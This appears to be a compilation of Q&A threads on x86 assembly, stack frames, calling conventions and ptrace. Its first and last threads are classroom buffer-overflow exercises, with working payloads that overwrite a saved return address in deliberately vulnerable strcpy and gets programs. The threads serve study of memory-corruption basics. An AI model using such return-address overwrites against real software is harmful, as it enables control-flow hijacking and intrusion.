Exploit a buffer overflow - c

For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"
This is the code I use for testing on an i686
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
Task 1: Create a payload so that target() is being called.
This was rather easy to do by replacing the EIP with the address of the target function.
This is how the buffer looks
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Payload I used was:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
This works fine but stops with a segmentation fault.
Task 2: Modify the payload in a way that it does not give a segmentation fault
This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address.
I tried to add the return address on the stack but that did not help
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?
I attach the objdump of the programm
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <puts#plt>
804848f: c9 leave
8048490: c3 ret
08048491 <vulnerable>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 28 sub $0x28,%esp
8048497: 8b 45 08 mov 0x8(%ebp),%eax
804849a: 89 44 24 04 mov %eax,0x4(%esp)
804849e: 8d 45 e8 lea -0x18(%ebp),%eax
80484a1: 89 04 24 mov %eax,(%esp)
80484a4: e8 97 fe ff ff call 8048340 <strcpy#plt>
80484a9: c9 leave
80484aa: c3 ret
080484ab <main>:
80484ab: 55 push %ebp
80484ac: 89 e5 mov %esp,%ebp
80484ae: 83 e4 f0 and $0xfffffff0,%esp
80484b1: 83 ec 10 sub $0x10,%esp
80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484b8: 75 12 jne 80484cc <main+0x21>
80484ba: 8b 45 0c mov 0xc(%ebp),%eax
80484bd: 83 c0 04 add $0x4,%eax
80484c0: 8b 00 mov (%eax),%eax
80484c2: 89 04 24 mov %eax,(%esp)
80484c5: e8 c7 ff ff ff call 8048491 <vulnerable>
80484ca: eb 0c jmp 80484d8 <main+0x2d>
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp)
80484d3: e8 58 fe ff ff call 8048330 <printf#plt>
80484d8: b8 00 00 00 00 mov $0x0,%eax
80484dd: c9 leave
80484de: c3 ret
80484df: 90 nop

You need enough data to fill the reserved memory for the stack where 'buffer' is located, then more to overwrite the stack frame pointer, then overwrite the return address with the address of target() and then one more address within target() but not at the very beginning of the function - enter it so the old stack frame pointer is not pushed on the stack. That will cause you to run target instead of returning properly from vulnerable() and then run target() again so you return from target() to main() and so exit without a segmentation fault.
When we enter vulnerable() for the first time and are about to put data
into the 'buffer' variable the stack looks like this:
-----------
| 24-bytes of local storage - 'buffer' lives here
-----------
| old stack frame pointer (from main) <-- EBP points here
-----------
| old EIP (address in main)
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
So starting at the address of 'buffer' we need to put in 24-bytes of junk to
get past the local storage reserved on the stack, then 4-more bytes to get
past the old stack frame pointer stored on the stack, then we are at the
location where the old EIP is stored. That's the instruction pointer that the CPU follows blindly. We like him. He's going to help us crush this program. We overwrite the value of the old EIP in the stack which currently points to an address in main() with the start address of target() which is found via the gdb
disassemble command:
(gdb) disas target
Dump of assembler code for function target:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x18,%esp
0x0804842a <+6>: movl $0x8048554,(%esp)
0x08048431 <+13>: call 0x8048354 <puts#plt>
0x08048436 <+18>: leave
0x08048437 <+19>: ret
End of assembler dump.
The address of the target() function is 0x08048424. Since the (my system at least) system is little endian we enter those values with the LSB first so x24, x84, x04, and x08.
But that leaves us with a problem because as vulnerable() returns it pops all
the junk that we put in the stack off the stack and we are left with a stack
that looks like this when we are just about to process in target() for the
first time:
-----------
| 'input' argument for 'vulnerable'
-----------
| top of stack for main
-----------
| ... more stack here ...
So when target() wants to return it will not find the return address on the
top of its stack as expected and so will have a segmentation fault.
So we want to force a new return value onto the top of the stack before we
start processing in target(). But what value to choose? We don't want to push
the EBP because it contains garbage. Remember? We shoved garbage into it when we overwrote 'buffer'. So instead push the target() instruction just after the
push %ebp
( in this case address 0x08048425 ).
This means that the stack will look like this when target() is ready to return
for the first time:
-----------
| address of mov %esp, %ebp instruction in target()
-----------
| top of stack for main
-----------
| ... more stack here ...
So upon return from target() the first time , the EIP will now point at the second instruction in target(), which means that the second time we process through target() it has the same stack that main() had when it processed. The top of the stack is the same top of the stack for main(). Now the stack looks like:
-----------
| top of stack for main
-----------
| ... more stack here ...
So when target() returns the second time it has a good stack to return with
since it is using the same stack that main() used and so the program exits normally.
So to sum it up that is 28-bytes followed by the address of the first instruction in target() followed by the address of the second instruction in target().
sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>

Related

What happens to arguments pushed on the stack when a function call returns?

Assume this C code:
int add(int a, int b){
int c = a+b;
return c;
}
int main(){
int c = add(3,4);
printf("%d", c);
return 0;
}
When calling add the following happens:
Push 4 on the stack
Push 3 on the stack
Push the address of `printf` on the stack (return address)
call `add`
// do stuff under add
pop the stack and and goto `printf`
But values 4 and 3 under add are still on the stack -0x18(%rbp). Are they not supposed to be cleared?
00000000000005fa <add>:
5fa: 55 push %rbp
5fb: 48 89 e5 mov %rsp,%rbp
5fe: 89 7d ec mov %edi,-0x14(%rbp)
601: 89 75 e8 mov %esi,-0x18(%rbp)
604: 8b 55 ec mov -0x14(%rbp),%edx
607: 8b 45 e8 mov -0x18(%rbp),%eax
60a: 01 d0 add %edx,%eax
60c: 89 45 fc mov %eax,-0x4(%rbp)
60f: 8b 45 fc mov -0x4(%rbp),%eax
612: 5d pop %rbp
613: c3 retq
0000000000000614 <main>:
614: 55 push %rbp
615: 48 89 e5 mov %rsp,%rbp
618: be 04 00 00 00 mov $0x4,%esi
61d: bf 03 00 00 00 mov $0x3,%edi
622: e8 d3 ff ff ff callq 5fa <add>
627: 5d pop %rbp
628: c3 retq
But values 4 and 3 under add are still on the stack
Not really, because stack no longer covers the memory where 4 and 3 are stored. They are in the memory beyond the stack pointer. Although the values are still in the place in memory that used to be part of stack, they are now part of uninitialized garbage. Accessing them after the stack has moved on, e.g. by storing their addresses, would be undefined behavior.
Are they not supposed to be cleared?
No, clearing these values is unnecessary, and could impact run-time efficiency of the program.
When you call the pop instruction, the value at the top of the stack is stored in the specified register and the SP (stack pointer) register is incremented (on x86 the stack grows down). It does NOT modify the memory location that was previously the top of the stack as there's no need to do so.
Whatever value was at the top of the stack will remain there until a new value is pushed on top of it.

Try to understand calling process in assembly code

I wrote a very simple program in C and try to understand the function calling process.
#include "stdio.h"
void Oh(unsigned x) {
printf("%u\n", x);
}
int main(int argc, char const *argv[])
{
Oh(0x67611c8c);
return 0;
}
And its assembly code seems to be
0000000100000f20 <_Oh>:
100000f20: 55 push %rbp
100000f21: 48 89 e5 mov %rsp,%rbp
100000f24: 48 83 ec 10 sub $0x10,%rsp
100000f28: 48 8d 05 6b 00 00 00 lea 0x6b(%rip),%rax # 100000f9a <_printf$stub+0x20>
100000f2f: 89 7d fc mov %edi,-0x4(%rbp)
100000f32: 8b 75 fc mov -0x4(%rbp),%esi
100000f35: 48 89 c7 mov %rax,%rdi
100000f38: b0 00 mov $0x0,%al
100000f3a: e8 3b 00 00 00 callq 100000f7a <_printf$stub>
100000f3f: 89 45 f8 mov %eax,-0x8(%rbp)
100000f42: 48 83 c4 10 add $0x10,%rsp
100000f46: 5d pop %rbp
100000f47: c3 retq
100000f48: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
100000f4f: 00
0000000100000f50 <_main>:
100000f50: 55 push %rbp
100000f51: 48 89 e5 mov %rsp,%rbp
100000f54: 48 83 ec 10 sub $0x10,%rsp
100000f58: b8 8c 1c 61 67 mov $0x67611c8c,%eax
100000f5d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
100000f64: 89 7d f8 mov %edi,-0x8(%rbp)
100000f67: 48 89 75 f0 mov %rsi,-0x10(%rbp)
100000f6b: 89 c7 mov %eax,%edi
100000f6d: e8 ae ff ff ff callq 100000f20 <_Oh>
100000f72: 31 c0 xor %eax,%eax
100000f74: 48 83 c4 10 add $0x10,%rsp
100000f78: 5d pop %rbp
100000f79: c3 retq
Well, I don't quite understand the argument passing process, since there is only one parameter passed to Oh function, I could under stand this
100000f58: b8 8c 1c 61 67 mov $0x67611c8c,%eax
So what does the the code below do? Why rbp? Isn't it abandoned in X86-64 assembly? If it is a x86 style assembly, how can I generate the x86-64 style assembly using clang? If it is x86, it doesn't matter, could any one explains the below code line by line for me?
100000f5d: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
100000f64: 89 7d f8 mov %edi,-0x8(%rbp)
100000f67: 48 89 75 f0 mov %rsi,-0x10(%rbp)
100000f6b: 89 c7 mov %eax,%edi
100000f6d: e8 ae ff ff ff callq 100000f20 <_Oh>
You might get cleaner code if you turned optimizations on, or you might not. But, here’s what that does.
The %rbp register is being used as a frame pointer, that is, a pointer to the original top of the stack. It’s saved on the stack, stored, and restored at the end. Far from being removed in x86_64, it was added there; the 32-bit equivalent was %ebp.
After this value is saved, the program allocates sixteen bytes off the stack by subtracting from the stack pointer.
There then is a very inefficient series of copies that sets the first argument of Oh() as the second argument of printf() and the constant address of the format string (relative to the instruction pointer) as the first argument of printf(). Remember that, in this calling convention, the first argument is passed in %rdi (or %edi for 32-bit operands) and the second in %rsi This could have been simplified to two instructions.
After calling printf(), the program (needlessly) saves the return value on the stack, restores the stack and frame pointers, and returns.
In main(), there’s similar code to set up the stack frame, then the program saves argc and argv (needlessly), then it moves around the constant argument to Oh into its first argument, by way of %eax. This could have been optimized into a single instruction. It then calls Oh(). On return, it sets its return value to 0, cleans up the stack, and returns.
The code you’re asking about does the following: stores the constant 32-bit value 0 on the stack, saves the 32-bit value argc on the stack, saves the 64-bit pointer argv on the stack (the first and second arguments to main()), and sets the first argument of the function it is about to call to %eax, which it had previously loaded with a constant. This is all unnecessary for this program, but would have been necessary had it needed to use argc and argv after the call, when those registers would have been clobbered. There’s no good reason it used two steps to load the constant instead of one.
As Jester mentions you still have frame pointers on (to aid debugging)so stepping through main:
0000000100000f50 <_main>:
First we enter a new stack frame, we have to save the base pointer and move the stack to the new base. Also, in x86_64 the stack frame has to be aligned to a 16 byte boundary (hence moving the stack pointer by 0x10).
100000f50: push %rbp
100000f51: mov %rsp,%rbp
100000f54: sub $0x10,%rsp
As you mention, x86_64 passes parameters by register, so load the param in to the register:
100000f58: mov $0x67611c8c,%eax
??? Help needed
100000f5d: movl $0x0,-0x4(%rbp)
From here: "Registers RBP, RBX, and R12-R15 are callee-save registers", so if we want to save other resisters then we have to do it ourselves ....
100000f64: mov %edi,-0x8(%rbp)
100000f67: mov %rsi,-0x10(%rbp)
Not really sure why we didn't just load this in %edi where it needs to be for the call to begin with, but we better move it there now.
100000f6b: mov %eax,%edi
Call the function:
100000f6d: callq 100000f20 <_Oh>
This is the return value (passed in %eax), xor is a smaller instruction than load 0, so is a cmmon optimization:
100000f72: xor %eax,%eax
Clean up that stack frame we added earlier (not really sure why we saved those registers on it when we didn't use them)
100000f74: add $0x10,%rsp
100000f78: pop %rbp
100000f79: retq

Why does initializing a variable `i` to 0 and to a large size result in the same size of the program?

There is a problem which confuses me a lot.
int main(int argc, char *argv[])
{
int i = 12345678;
return 0;
}
int main(int argc, char *argv[])
{
int i = 0;
return 0;
}
The programs have the same bytes in total. Why?
And where the literal value indeed stored? Text segment or other place?
The programs have the same bytes in total.Why?
There are two possibilities:
The compiler is optimizing out the variable. It isn't used anywhere and therefore doesn't make sense.
If 1. doesn't apply, the program sizes are equal anyway. Why shouldn't they? 0 is just as large in size as 12345678. Two variables of type T occupy the same size in memory.
And where the literal value indeed stored?
On the stack. Local variables are commonly stored on the stack.
Consider your bedroom.if you filled it with stuff or you left it empty,does that change the area of your bedroom?
the size of int is sizeof(int).it does not matter what value you store in it.
Because your program is optimized. At compile time, the compiler found out that i was useless and removed it.
If optimization didn't occurs, another simple explanation is that an int is the same size of another int.
TL;DR
First question: They're the same size because the instructions output of your program are roughly the same (more on that below). Further, they're the same size because the size(number of bytes) of your ints never change.
Second question: i variable is stored in your local variables frame which is in the function stack. The actual value you set to i is in the instructions (hardcoded) in the text-segment.
GDB and Assembly
I know you're using Windows, but consider these codes and output on Linux. I used the exactly same sources you posted.
For the first one, with i = 12345678, the actual main function is these computer instructions:
(gdb) disass main
Dump of assembler code for function main:
0x00000000004004ed <+0>: push %rbp
0x00000000004004ee <+1>: mov %rsp,%rbp
0x00000000004004f1 <+4>: mov %edi,-0x14(%rbp)
0x00000000004004f4 <+7>: mov %rsi,-0x20(%rbp)
0x00000000004004f8 <+11>:movl $0xbc614e,-0x4(%rbp)
0x00000000004004ff <+18>:mov $0x0,%eax
0x0000000000400504 <+23>:pop %rbp
0x0000000000400505 <+24>:retq
End of assembler dump.
As for the other program, with i = 0, main is:
(gdb) disass main
Dump of assembler code for function main:
0x00000000004004ed <+0>: push %rbp
0x00000000004004ee <+1>: mov %rsp,%rbp
0x00000000004004f1 <+4>: mov %edi,-0x14(%rbp)
0x00000000004004f4 <+7>: mov %rsi,-0x20(%rbp)
0x00000000004004f8 <+11>:movl $0x0,-0x4(%rbp)
0x00000000004004ff <+18>:mov $0x0,%eax
0x0000000000400504 <+23>:pop %rbp
0x0000000000400505 <+24>:retq
End of assembler dump.
The only difference between both codes is the actual value being stored in your variable. Lets go in a step by step trough these lines bellow (my computer is x86_64, so if your architecture is different, instructions may differ).
OPCODES
And the actual instructions of main (using objdump):
00000000004004ed <main>:
4004ed: 55 push %rbp
4004ee: 48 89 e5 mov %rsp,%rbp
4004f1: 89 7d ec mov %edi,-0x14(%rbp)
4004f4: 48 89 75 e0 mov %rsi,-0x20(%rbp)
4004f8: c7 45 fc 4e 61 bc 00 movl $0xbc614e,-0x4(%rbp)
4004ff: b8 00 00 00 00 mov $0x0,%eax
400504: 5d pop %rbp
400505: c3 retq
400506: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40050d: 00 00 00
To get the actual difference of bytes, using objdump -D prog1 > prog1_dump and objdump -D prog2 > prog2_dump and them diff prog1_dump prog2_dump:
2c2
< draft1: file format elf64-x86-64
---
> draft2: file format elf64-x86-64
51,58c51,58
< 400283: 00 bc f6 06 64 9f ba add %bh,-0x45609bfa(%rsi,%rsi,8)
< 40028a: 01 3b add %edi,(%rbx)
< 40028c: 14 d1 adc $0xd1,%al
< 40028e: 12 cf adc %bh,%cl
< 400290: cd 2e int $0x2e
< 400292: 11 77 5d adc %esi,0x5d(%rdi)
< 400295: 79 fe jns 400295 <_init-0x113>
< 400297: 3b .byte 0x3b
---
> 400283: 00 e8 add %ch,%al
> 400285: f1 icebp
> 400286: 6e outsb %ds:(%rsi),(%dx)
> 400287: 8a f8 mov %al,%bh
> 400289: a8 05 test $0x5,%al
> 40028b: ab stos %eax,%es:(%rdi)
> 40028c: 48 2d 3f e9 e2 b2 sub $0xffffffffb2e2e93f,%rax
> 400292: f7 06 53 df ba af testl $0xafbadf53,(%rsi)
287c287
< 4004f8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
---
> 4004f8: c7 45 fc 4e 61 bc 00 movl $0xbc614e,-0x4(%rbp)
Note on address 0x4004f8 your number is there, 4e 61 bc 00 on prog2 and 00 00 00 00 on prog1, both 4 bytes which is equal to sizeof(int). The bytes c7 45 fc are the rest of the instructions (move some value into an offset of rbp). Also note that the first two sections that differ have the same size in bytes (21). So, there you go, although slightly different, they're the same size.
Step by step through Assembly Instructions
push %rbp; mov %rsp, %rbp: This is called setting up the Stack Frame, and is standard for all C functions (unless you tell gcc -fomit-frame-pointer). This enables you to access the stack and your local variables through a fixed register, in this case, rbp.
mov %edi, -0x14(%rbp): This moves the content of register edi into our local variables frame. Specifically, into offset -0x14
mov %rsi, -0x20(%rbp): Same here. But this time it saves rsi. This is part of the x86_64 calling convention (which now uses registers instead of pushing everything on stack like x86_32), but instead of keeping them in registers, we free the registers by saving the contents in our local variables frame - register are way faster and are the only way the CPU can actually process anything, so the more free registers we have, the better.
Note: edi is the 4-bytes part of the rsi register and from the x86_64 calling convention, we know that rsi register is used for the first argument. main's first argument is int argc, so it makes sense we use a 4-byte register to store it. rsi is the second argument, effectively the address of a pointer to pointer to chars (**argv). So, in 64bit architectures, that fits perfectly into a 64bit register.
<+11>: movl $0xbc614e,-0x4(%rbp): This is the actual line int i = 12345678 (0xbc614e = 12345678d). Now, note that the way we "move" that value is very similar to how we stored the main arguments. We use offset -0x4(%rbp) to store it memory, on the "local variables frame" (this answers your question on where it gets stored).
mov $0x0, %eax; pop %rbp; retq: Again, dull stuff to clear up the frame pointer and return (end the program since we're in main).
Note that on the second example, the only difference is the line <+11>: movl $0x0,-0x4(%rbp), which effectively stores the value zero - in C words, int i = 0.
So, by these instructions you can see that the main function of both programs gets translated to assembly in the exact the same way, so their sizes are the same in the end. (Assuming you compiled them the same way, because the compiler also puts lots of other things in the binaries, like data, library functions, etc. In linux, you can get a full disassembly dump using objdump -D program.
Note 2: In these examples, you cannot see how the computer subtracts values from rsp in order to allocate stack space, but that's how it's normally done.
Stack Representation
The stack would be like this for both cases (only the value of i would change, or the value at -0x4(%rbp))
| ~~~ | Higher Memory addresses
| |
+------------------+ <--- Address 0x8(%rbp)
| RETURN ADDRESS |
+------------------+ <--- Address 0x0(%rbp) // instruction push %rbp
| previous rbp |
+------------------+ <--- Address -0x4(%rbp)
| i=0x11223344 |
+------------------+ <---- Address -0x14(%rbp)
| argc |
+------------------+ <---- address -0x20(%rbp)
| argv |
+------------------+
| |
+~~~~~~~~~~~~~~~~~~+ Lower memory addresses
Note 3: The direction to where the stack grows depends on your architecture. How data gets written in memory also depends on your architecture.
Resources
What are the calling conventions for UNIX & Linux system calls on x86-64
Call Stack
GCC Optimization Options
Understanding the Stack
How does the stack work in assembly language?
x86_64 : is stack frame pointer almost useless?

Detect call's offset with ptrace

I'm trying to do a program that can detect calls with the function ptrace.
Using PTRACE_SINGLESTEP I can run a program instructions by instructions, then, when I get the OP_CODE 0xe8 pointed by the register RIP, I use PTRACE_PEEKTEXT to get the 4 next bytes after the adress pointed by RIP.
Then, according to the documentation that I found on internet, the 4 bytes coutains an offset referring to the location to jump.
It seems like PTRACE_PEEKTEXT is returning some weird values, and I get offsets too big.
Here my code below:
instr_num = ptrace(PTRACE_PEEKTEXT, this->pid, regs.rip, 0);
dest = ptrace(PTRACE_PEEKTEXT, this->pid, regs.rip + 1, 0);
if (instr_num == 0xe8)
{
printf("call : %ld\n", regs.rip + dest);
}
And here's the output:
call : -2853719444197214464
call : -2853719444197214464
call : -2853719444197214464
And this is the objdump -D output, and as you can see there is 15 bytes of offset between the call from the main and the beginning of the function func:
00000000004004c4 <func>:
4004c4: 55 push %rbp
4004c5: 48 89 e5 mov %rsp,%rbp
4004c8: 5d pop %rbp
4004c9: c3 retq
00000000004004ca <main>:
4004ca: 55 push %rbp
4004cb: 48 89 e5 mov %rsp,%rbp
4004ce: b8 00 00 00 00 mov $0x0,%eax
4004d3: e8 ec ff ff ff callq 4004c4 <func>
4004d8: 5d pop %rbp
4004d9: c3 retq
If just after I detected a call, I do a ptrace(PTRACE_SINGLESTEP) once, will my RIP contain the adress of the function I just jumped to ? According to my tests it seems not to, but I think it should.
Try:
printf("call : 0x%lx\n", regs.rip + (long) (int) (dest & (unsigned long) UINT_MAX);
dest is a 64-bit value but the offset is encoded here on 32 bits. Printing in hex is much nicer for this kind of code

Buffer overflow appeared before it is expected

I'm trying to take a control over a stack overflow. First, here is an example of C code I compiled on an x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c),
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
Then debugger (intel flavor): dump of assembler code for function GetInput:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
Here we can see that sub esp, 0x28 reserves 40 bytes for a buffer variable (Right?).
CanNeverExecute function is located in address 0x0804843c.
So, in order to run CanNeverExecute function, I need to put 40 bytes into buffer variable, then goes 8 bytes for stored base pointer and then 8 bytes of return pointer I want to change.
So, I need a string of 48 ASCII symbols plus \x3c\x84\x04\x08 in the end (address of the CanNeverExecute function). That is in theory. But In practice I need only 20 bytes before address of the return pointer:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
Why does it need only 20 bytes instead of 48? Where is my mistake?
First off, your assembly is 32-bit. Saved EBP and return address are 4 bytes each.
Second, the buffer variable does not start at stack top (ESP) - it starts at ebp-0x10. Which is 20 bytes away from the return address. 0x10 is 16 bytes, then 4 more for the saved EBP.
If You take bigger part of dissassembly You will see:
08048445 <GetInput>:
8048445: 55 push %ebp
8048446: 89 e5 mov %esp,%ebp
8048448: 83 ec 28 sub $0x28,%esp
804844b: 8d 45 f0 lea -0x10(%ebp),%eax
804844e: 89 04 24 mov %eax,(%esp)
8048451: e8 9a fe ff ff call 80482f0 <gets#plt>
8048456: 8d 45 f0 lea -0x10(%ebp),%eax
8048459: 89 04 24 mov %eax,(%esp)
804845c: e8 9f fe ff ff call 8048300 <puts#plt>
8048461: c9 leave
8048462: c3 ret
ebp is saved, esp is moved to ebp, then 40 is subtracted from esp (stack frame, as you wrote),
but pointer to buffer is passed to gets via eax register, and eax is loaded with ebp-0x10!
lea -0x10(%ebp),%eax
So You need only 20 bytes to overflow the buffer (16 reserved + 4 for stored base pointer on 32-bit system)

Resources